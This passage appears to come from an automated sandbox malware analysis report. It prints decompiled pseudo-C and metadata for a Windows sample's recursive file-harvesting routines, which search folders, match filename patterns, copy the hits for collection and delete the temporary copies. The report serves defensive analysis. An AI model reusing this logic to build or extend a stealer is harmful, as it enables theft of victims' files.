								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\*, xrefs: 00405E51
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00578A30, Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00578A49
FindFirstFileA.KERNEL32(?,?), ref: 00578A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00578A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00578A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00578E25
FindClose.KERNEL32(000000FF), ref: 00578E3A

Strings

yx, xrefs: 00578BAA, 00578BAF

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: yx
API String ID: 180737720-1731175491
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: 5d9aae9e89c0b4364297f88495b97b9019a038f3a933962fbd3ad42db73eeca7
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: 4BD1FFB2500109ABCB14DF94ED89EEB77BDBF8C700F048659B60D93150DA34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x786708
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00576090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005760AD
FindFirstFileA.KERNEL32(?,?), ref: 005760C4
lstrcat.KERNEL32(?,?), ref: 005760EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0057610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00576122
FindNextFileA.KERNEL32(000000FF,?), ref: 00576361
FindClose.KERNEL32(000000FF), ref: 00576376

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: 380b9f2b0d173395ea4affd3e2d14d7470b23fbbe4693ae3d839a176121057a2
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: 668180B6900608AFCB14DFA4DC48EEA77B8BF88741F44CA98F60E96041E7749A94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00579BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579BD9
FindFirstFileA.KERNEL32(?,?), ref: 00579BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00579C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00579C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00579D70
FindClose.KERNEL32(000000FF), ref: 00579D85

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: b019e78cffee32d6848d91ca2ed2784fb54295714b7dc6ff974e4526da99c567
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 5B4146B2510219ABCB20DFA0DD48EEA77BCBF4C705F048599B70992050E779EB94CF66

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x787980
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x7882b8
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x787a28
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x787b18
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\*, xrefs: 004096ED
%s\%s, xrefs: 00409766
(zx, xrefs: 00409844

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$(zx
API String ID: 180737720-2645604602
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x789b70
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x7890c8
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x789bd0
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x7890c8
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x782478
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x7890c8
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D
x$x, xrefs: 00409C50

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$x$x
API String ID: 180737720-2261226851
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005714D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005714E9
FindFirstFileA.KERNEL32(?,?), ref: 00571500
StrCmpCA.SHLWAPI(?,00414010), ref: 00571526
StrCmpCA.SHLWAPI(?,00414014), ref: 0057153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0057169B
FindClose.KERNEL32(000000FF), ref: 005716B0

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: 3a21226e8515a2f1e46be7392bb157203d3e42bacdffdae84b5c60e44187529f
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 31518472500618ABCB14DFA4ED48EEA77B8BF88700F04C599B60D93040E775EB94DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00579D90, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579DA9
FindFirstFileA.KERNEL32(?,?), ref: 00579DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00579DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00579DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00579FE8
FindClose.KERNEL32(000000FF), ref: 00579FFD

Strings

x$x, xrefs: 00579EA0, 00579EA6

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: x$x
API String ID: 180737720-177600594
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 692b29968e5bf9d1534da3db878fafceab888109038ebb36748cd72c7246f001
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: 6C6167B2900118ABCB14DFA4EC85EDB77BCBF88700F04C599B61D92141E734EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00579930, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579949
FindFirstFileA.KERNEL32(?,?), ref: 00579960
StrCmpCA.SHLWAPI(?,00414010), ref: 00579986
StrCmpCA.SHLWAPI(?,00414014), ref: 0057999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00579B9A
FindClose.KERNEL32(000000FF), ref: 00579BAF

Strings

(zx, xrefs: 00579A94, 00579A9A

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: (zx
API String ID: 180737720-1108452920
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 48e72bb7918caf9fdc52d7086902b7e7d759c6ddcc2334d0f9e2fad7f5e1971d
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: 0781EDB6500209ABCB14DF98EC84EEB77BDBB8C700F04C559B60D93151E634EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 005712E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 005712ED
wsprintfA.USER32 ref: 00571307
FindFirstFileA.KERNEL32(?,?), ref: 0057131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00571344
StrCmpCA.SHLWAPI(?,00414014), ref: 0057135A
